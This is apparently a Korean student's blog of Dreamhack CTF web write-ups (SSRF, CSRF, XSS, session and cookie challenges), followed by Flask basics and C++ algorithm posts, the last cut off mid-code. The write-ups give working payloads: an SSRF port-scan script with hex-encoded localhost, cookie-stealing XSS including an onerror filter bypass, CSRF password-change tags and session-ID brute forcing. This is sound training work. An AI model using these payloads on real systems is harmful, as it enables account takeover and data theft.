허연승님의 블로그

web-ssrf

pororo — Mon, 19 Oct 2026 21:38:56 +0900

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host,local_port), http.server.SimpleHTTPRequestHandler
)
    

def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

우리가 여기서 중점적으로 봐야할 부분은 flag가 app/flag.txt에 있다는것을 알고 있다

그리고 img_viewer로 라우팅을 하면 안에 넣는 값에 따라 서버에서 그것에 알맞는 img를 출력하는 것을 알수 있다 또한 그 img에

data값을 base64인코딩 하여 알려주게 되는데 그러면 플래그 또한 img에 data값을 base64인코딩 해야 나오는 것을 알수 있다.

그리고 img를 가져오는 서버 즉 해킹 하는 컴퓨터에서 127.0.0.1즉 로컬 호스트(루프백 주소)인것을 알수 있다.

하지만 현재 127.0.0.1이나 localhost가 들어 가도록 요청을 하게 되면 필터링으로 인해서 error.img를 띄우게 된다

또한 같은 주소 값이라도 port번호에 따라 주소가 다르게 인식 되게 된다.

원래라면 1포트부터 옳은 포트까지 계속 해야 하지만 local_port를 보면 1500~1800사이에 랜덤한 포트 번호를 갖게 되는것으로 나와있다. 그리하여 그러면 이걸 이용 하여 requeste문을 짜보도록 하자

import requests 

url = "http://host3.dreamhack.games:20840/img_viewer"
 
for i in range(1500, 1801):
    find = f"http://0x7f000001:{i}/flag.txt"
    response = requests.post(url, data={"url" : find})

    if "REh7" in response.text:
        print(i)
        print(response.text)
        break

이런식으로 requests를 짜볼건데 여기에서 보면 우리가 실제로 request를 보낼 주소 url을 지정하고 랜덤하게 지정된 포트번호를 1500~1800까지 반복 하면서 확인을 할것인데 실제 request를 보낸 주소에서 flag.txt가 있는 로컬 호스트를 찾기 위해 find라는 변수를 이용 할것이다. 여기서 http://뒤에 있는 부분은 127.0.0.1을 16진수로 변환 한것이다.

그리고 request보낸것을 response라는 변수에 저장 한다

그후 response.text 즉 request를 보냈을때 돌려받은 HTML코드를 받게 된다 그러면 아까 우리가 위에서 img에 data값이 base64인코딩 되어 있다고 했다. 그리고 플래그 형식은 DH{} 이므로 그 DH{ 를 인코딩 했을때에 나오는 REh7이 HTML코드내 에서 있어야 한다 그리하여 if문을 이용 하여 REh7이 반환된 HTML에 존재 한다면 그 port번호를 반환 하고 확인한 HTML코드를 출력 하게 된다.

그러면 이제 나온 HTML코드에 img에 data값을 base64인코딩 된것을 디코딩 해주게 되면 플래그가 나오게 된다.

CSRF

pororo — Tue, 29 Sep 2026 22:53:49 +0900

오늘은 CSRF에 대해서 알아 보자

CSRF란 CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점입니다.

CSRF-1을 풀어보도록 하자

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)    


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():    
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

여기서는 xss와 비슷하게 우리가 보낸 내용을 봇이 실행 시켜 주는 부분이 있고 마찬가지로 memo를 이용해서 우리가 넣은 값을 화면에 출력 할수 있게 되어 있다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

이 부분을 보면 xss를 필터링 하는 부분이 있다. 여기에서 frame, script, on 이라는 키워드가 들어가면 그부분을 *로 바꿔

xss를 못하게 하는것을 알수 있다

그러면 우리는 어떻게 하는냐 CSRF는 임의에 이용자에 권한으로 HTTP요청을 보내는것이다

이게 무슨 말이냐 우리가 그사람에 정보를 탈취하는게 아니라 그사람이 로그인 한거에 그냥 우리가 글을 쓰는것이다.

@app.route("/admin/notice_flag")
def admin_notice_flag():    
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

그래서 이부분을 보면 우리가 127.0.0.1자신의 루프백 주소이면서 userid가 admin이면 memo에 flag값을 추가 하게 된다

<img src="/admin/notice_flag?userid=admin">

그러면 어떻게 하느냐 src어디 주소 값을 갈지에 우리에 쿼리 스트링을 알려주는 방식으로 CSRF를 할수 있다.

CSRF-2풀어보자

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

CHROMIUM_BIN = os.environ.get("CHROMIUM_BIN", "/usr/bin/chromium")
CHROMEDRIVER_PATH = os.environ.get("CHROMEDRIVER_PATH", "/usr/bin/chromedriver")

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    driver = None
    try:
        options = webdriver.ChromeOptions()
        options.binary_location = CHROMIUM_BIN
        for argument in [
            "--headless",
            "--window-size=1920,1080",
            "--disable-gpu",
            "--no-sandbox",
            "--disable-dev-shm-usage",
        ]:
            options.add_argument(argument)
        service = Service(executable_path=CHROMEDRIVER_PATH)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host="0.0.0.0", port=8000)

여기서 우리가 주의 깊게 봐야할 부분은

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

/change_password를 보면 pw와 session_id를 get으로 받은 다음 username에 session_storage를 확인 한뒤

users[username] = pw로 바꾸는걸 알수 있다. 그러면 아까와 마찬가지로 img 태그를 이용 하면 될거라는 것을 알수 있다.
또한 여기서 봇은 무조건 admin에 세션 값을 받도록 세팅 되어 있기 때문에 따로 우리가 admin이라는것을 알려줄 필요가 없다.

<img src="/change_password?pw=1234">

이렇게 하면 admin에 pw가 1234로 바뀌게 된다

그러면 /login으로 가서 admin에 password를 1234로 넣게 되면 flag를 얻을수 있다.

XSS

pororo — Tue, 29 Sep 2026 22:17:09 +0900

XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.

XSS에 종류

Stored XSS	악성 스크립트가 웹사이트의 데이터베이스(DB)에 영구적으로 저장됩니다.
Reflected XSS	악성 스크립트가 사용자의 요청에 포함되어 서버로 전송되었다가, 응답 화면에 그대로 "반사"되어 실행되는 방식입니다.
DOM-based XSS	웹사이트의 서버를 거치지 않고, 사용자의 브라우저 안에서 자바스크립트가 실행되는 과정(DOM 환경)에서 발생하는 취약점입니다.
Universal XSS	클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

이제부터 본격적으로 XSS에 관한 문제를 풀어 보도록 하자

그전에 우리가 알아야할 javascript구문이 있다. document는 자기의 주소 값을 참조 하는 명령어 이다.

여기서 우리가 배운 cookie 값을 Javascript 명령어로 불러 올수 있다 document.cookie를 하게 되면 자기 자신의 쿠키값과 세션 값을 모두 알려 준다.

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    driver = None
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        options.binary_location = "/usr/bin/google-chrome"
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        return str(e)
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

이것이 전체 코드 이다. 여기서 우리가 주의 깊게 봐야 할 부분은 /memo부분이다. 여기서 코드를 잘 보면 우리가 요청 한 text 값을 그대로 반환 하는 것을 볼수 있다.

여기서 우리가 주의 깊게 봐야할 코드이다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

보면 받은 값을 그대로 반환 하는것을 볼수 있다. 그리하여 param을 그대로 반환 하기 때문에 script를 이용하여 xss를 해보자

그러면 /flag부분에서 script를 넣을 수 있는 입력 창이 있는데 여기에 어떻게 써야 하냐

<script>location.href="/memo?memo=" + document.cookie</script>

이런식을 하면 값을 얻을수 있게 된다 이게 어떤 역할을 하는지 보자면 <script>형식으로 요청을 보낼 것이고 location.href를 라는 주소로 받은 값을 띄우겠다. 근데 나에 쿠키 값을 포함해서 이기 때문에 document가 자기 주소 값에 있는 쿠키값을 알려 주는것이기 때문에 결국 flag가 있는 admin 부분에 쿠키값도 알려 주게 되어 /memo?memo=라는 내부 주소값에 flag 값을 알려 주게 된다.

XSS-2를 풀어 보자

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

여기서는 위에 xss-1과 다 똑같이만 한가지 다른 부분이 있다.

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

위에 보면 /vuln에서 아까는 받은 param을 그대로 반환 했다면 이번에는 vuln.html이라는 부분을 거쳐서 나오기 때문에 값이 바뀌게 된다. 또한 <script>를 통해서 값을 요청 할수 없도록 되어 있다.

그리하여 우리는 이번에는 img 태그를 이용할것이다. 여기서 img태그를 쓴다고 하면 의아에 할수도 있다 xss가 Javascript를 통해서 cookie값이다 session값을 탈취 하는거 아니야 할수도 있다. 하지만 여기서 우리는 img태그를 진짜 img를 넣는 용도가 아니라

실제로는 없는 임의에 주소 값을 알려준뒤 그 주소값이 없을 경우 실행되는 부분에 sciprt를 넣어서 실행 시킬 것이다.

<img src="x" onerror="location.href='/memo?memo=' + document.cookie">

이런식으로 src에 일부로 잘못된 주소값을 알려주고 onerror에 우리가 실행 해야할 script구문을 넣어주게 되면
/vuln을 우회 해서 flag 값을 알수 있게 된다.

session

pororo — Fri, 25 Sep 2026 23:31:09 +0900

dreamhack session풀이

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {                   ##users라는 딕셔너리에 guest, user, admin이라는 것이 존재
    'guest': 'guest',            
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {          #비어있는 딕셔너리 생성
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)          #세션 아이디는 쿠키 값으로 줌
    try:
        username = session_storage[session_id]           #유저 아룸운 
    except KeyError:            
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp     
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'   ## 1바이트를 16진수 인코딩
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

이 코드를 보면 session basic과는 다르게 admin으로 라우트 하여 값을 확인 할수가 없다

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'   ## 1바이트를 16진수 인코딩
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

하지만 이부분을 보면 1byte를 랜덤하게 16진수 인코딩 한 값이 admin으로 나오게 된다 그러면 우리는 1byte는 8bit 이다.
그러면 16진수에 한자리는 4bit인데 그러면 우리가 알수 있는 것은 admin에 세션 값은 00~ff 까지 인것을 알수 있다.
그리하여 우리는 이걸 guest로 로그인 한뒤 세션값을 하나씩 00~ff하는 방법도 있지만 그 방법이 아닌 requests를 이용 해서 무차별 대입 공격을 해볼것이다.

import requests

url = "http://host3.dreamhack.games:24532/" 

for i in range(256):
    session_id = f"{i:02x}"
    cookies = {'sessionid': session_id}
    
    response = requests.get(url, cookies=cookies)

    if "DH{" in response.text:
        print(f" admin 세션 ID: {session_id}")
        break

이런식으로 코드를 짤수 있는데 한줄 씩 해석해 보자면 일단 requests라는 라이브러리가 있어야지 우리가 get,post같은 요청을 보낼수 있다. 그리하여 requests를 한뒤 url은 우리가 참조할 브라우저에 주소이다 그러니 url은 우리가 현재 풀고 있는 드림핵 사이트에 루트주소를 넣어주게 된다. 그후 for문을 돌면서 session_id를 구할 건데 00~ff 까지는 총 256가지 이므로 256번 반복 하면서
session_id에 하나씩 넣어 본다 여기에서 f"{i:02x}"이 부분은 i를 넣을 건데 앞에 자릿수가 없을 경우 01이런식으로 쓸수 있도록 해준다. 그후 그값을 쿠키 값으로 준뒤 그값을 response라는 변수 지정 한뒤 get으로 요청 한다 그러면 우리가 로그인 했을 때에 HTML을 가져 오는데 그거에서 플래그 형식인 DH{가 들어가 있으면 session id를 출력 하고 break 하여 반복문을 종료 한다.

session_basic

pororo — Fri, 25 Sep 2026 23:20:30 +0900

Dreamhack Session_basic 문제 풀이

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}


# this is our session storage
session_storage = {
}


@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            # you cannot know admin's pw
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(32).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp
        return '<script>alert("wrong password");history.go(-1);</script>'


@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage


if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

위에 코드를 보면 /admin으로 사이트를 들어가면 session_storage를 반환 하는것을 볼수 있다 그리하여 그 session_storage를

32byte를 16진수로 인코딩 한것이 admin에 session 값인것을 알수 있다. 그리고 그것을 print하여 출력 하는것을 알수 있다.

이런식으로 admin 하고 세션에 값을 알려주는데 그것을 복사 한뒤 cookie 풀이와 똑같이 guest로 로그인 후 쿠키값을 보면 session하고 value값이 있을 건데 그걸 아까 복사한 admin에 세션 값으로 넣어 주면 admin으로 로그인을 할수 있다.

Cookie

pororo — Fri, 25 Sep 2026 23:12:38 +0900

Dreamhack cookie문제 풀이

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'admin': FLAG
}

@app.route('/')
def index():
    username = request.cookies.get('username', None)    
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            resp.set_cookie('username', username)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)

코드를 보면 users에는 guest랑 admin이 존재 한다 여기서 유저 내임을 확인후 cookie값을 get으로 반환하여 알려주게 된다

그후 login페이지를 보면 get으로 login 페이지를 연다 Post로는 username과 password를 알려보낸뒤 그 값이 pw와 맞으면
쿠키값으로 반환 한다. 그리 하여 guest로 로그인 하면 쿠키 값에 username에 value 값에 guest가 들어 있는걸 볼수 있다 그리하여 value 값에 admin을 넣어주게 되면 admin으로 로그인 한것으로 인식 하게 된다 그후 HOME으로 가면 플래그를 얻을 수 있다.

백엔드

pororo — Wed, 9 Sep 2026 12:20:27 +0900

from flask import Flask , render_template, request
app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods={'GET', 'POST'})
def login():    
    if request.method == "POST":
        user_id = request.form.get('username')
        user_pw = request.form.get('password')

        return render_template('result.html', user_id = user_id, user_pw=user_pw)

    return render_template('login.html')


app.run()

render_template은 웹 서버가 저장해 둔 HTML 문서에 원하는 정보를 채워 넣어서 완정한 웹 페이지로 만든 뒤, 사용자의 브라우저로 보내주는 역할을 한다.

그리고 methods에 GET은 사용자가 값을 서버에 요청하여 조회 하는 방식이고 POST는 사용자가 입력한 내용을 가지고 서버에 요청하여 값을 저장하거나 처리 하는 메서드이다.

위 코드 해석

from flask import Flask , render_template, request
app = Flask(__name__)

flask 라이브러리를 불러오고 render_template을 써서 HTML정보를 불러 올수 있도록 한다.

request라이브러리를 이용하여 methods에 저장한 GET과 POST를 이용할수 있도록 한다.

@app.route('/')
def index():
    return render_template('index.html')

127.0.0.1에 기본 웹을 불러 올때 render_template을 이용해서 index.html을 불러온다.

그러면 이러한 화면이 뜨게 된다 . 그후 로그인 하기를 누르면

@app.route('/login', methods={'GET', 'POST'})
def login():    
    if request.method == "POST":
        user_id = request.form.get('username')
        user_pw = request.form.get('password')

        return render_template('result.html', user_id = user_id, user_pw=user_pw)

    return render_template('login.html')

이 부분으로 넘어간다 127.0.0.1/login을 호출 하게 되는데 login 에서 값을 넣으면

html
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>로그인 페이지</title>
</head>
<body>
    <h2>로그인</h2>

    <form action="/login" method="post">
        <p>아이디: <input type="text" name="username" required></p>
        <p>비밀번호: <input type="password" name="password" required></p>
        <button type="submit">로그인 하기</button>
    </form>
    
    <br>
    <a href="/">홈으로 돌아가기</a>
</body>
</html>

그 값을 html로 보내게 되고 그값을 POST한다. 그러면 POST를 하고 result.html을 호출 하고

html
<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <title>결과 페이지</title>
</head>
<body>
    <h1>전송 완료!</h1>
    <p>입력하신 아이디: <strong>{{ user_id }}</strong></p>
    <p>입력하신 비밀번호: <strong>{{ user_pw }}</strong></p>
    <hr>
    <a href="/login">다시 로그인하기</a> | <a href="/">홈으로</a>
</body>
</html>

이런식으로 내가 쓴 아이디와 비밀번호를 반환 하여 보여주는 것을 알수 있다.

웹

pororo — Tue, 28 Jul 2026 00:30:29 +0900

https://app.notion.com/p/Html-1-3aae8d66cb5b808fbb5dece815ddaea9?source=copy_link

3043.큰 N에 대한 피보나치 수

pororo — Mon, 22 Jun 2026 13:04:54 +0900

N번째 피보나치 수 FNFN(F0=0F0=0, F1=1F1=1 , Fn=Fn−1+Fn−2Fn=Fn−1+Fn−2) 을 모듈로MM으로 구한다.
NN이 매우 클 수 있다.

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
using ll = long long;

ll m; 

struct Matrix {
    ll mat[2][2];
    Matrix() {
        mat[0][0] = mat[0][1] = mat[1][0] = mat[1][1] = 0;
    }
};

Matrix mul(Matrix a, Matrix b) {
    Matrix ans;
    for (int i = 0; i < 2; i++) {
        for (int j = 0; j < 2; j++) {
            for (int k = 0; k < 2; k++) {
                ans.mat[i][j] = (ans.mat[i][j] + a.mat[i][k] * b.mat[k][j]) % m;
            }
        }
    }
    return ans;
}

Matrix power(Matrix a, ll n) {
    Matrix ans;
    ans.mat[0][0] = 1 % m; ans.mat[1][1] = 1 % m; 

    if (n == 0) return ans;
    if (n == 1) {
        a.mat[0][0] %= m; a.mat[0][1] %= m;
        a.mat[1][0] %= m; a.mat[1][1] %= m;
        return a;
    }

    Matrix half = power(a, n / 2);

    if (n % 2 == 0) {
        return mul(half, half);
    } else {
        return mul(mul(half, half), a);
    }
}

int main() {
    ios::sync_with_stdio(0);
    cin.tie(0);
    cout.tie(0);
    
    ll n;
    if (!(cin >> n >> m)) return 0; 
    
    Matrix T;
    T.mat[0][0] = 1; T.mat[0][1] = 1;
    T.mat[1][0] = 1; T.mat[1][1] = 0;

    cout << power(T, n).mat[0][1] % m;

    return 0;
}

2x2 행렬을 다루기 위해 구조체 선언 후 2행 2열짜리 방이 채워진 배열 선언 두 행렬을 곱해주는 함수를 만든뒤

n번 다 곱하지 말고, 지수를 딱 절반으로 나눠서 한 번만 구한다. 만약 지수가 짝수 half끼리 곱해줌

만약 지수가 홀수 원래 행렬 a를 한 번 더 곱해준다.

그 후 main 함수에서 아까 위에서 말한 피보나치 전용 기본 행렬 T를 조립

T를 n번 거듭제곱한 다음, 0행 1열에 들어있는 피보나치 수를 가져와서 출력

서브트리 크기

pororo — Wed, 17 Jun 2026 08:06:22 +0900

루트가 있는 트리에서 각 노드의 서브트리 크기(자신 포함)를 구한다.

#include <iostream>
#include <vector>

using namespace std;

vector<int> tree[100005];
bool visited[100005];
int sub_tree_size[100005];

int dfs(int cur) {
    visited[cur] = true;
    sub_tree_size[cur] = 1; 

    for (auto nxt : tree[cur]) {
        if (visited[nxt]) {
            continue;
        }
        sub_tree_size[cur] += dfs(nxt);
    }

    return sub_tree_size[cur];
}

int main() {
    ios_base::sync_with_stdio(false);                       
    cin.tie(NULL);

    int n;
    cin >> n;

    for (int i = 2; i <= n; i++) {
        int parent;
        cin >> parent;
        
        tree[parent].push_back(i);
        tree[i].push_back(parent);
    }

    dfs(1);

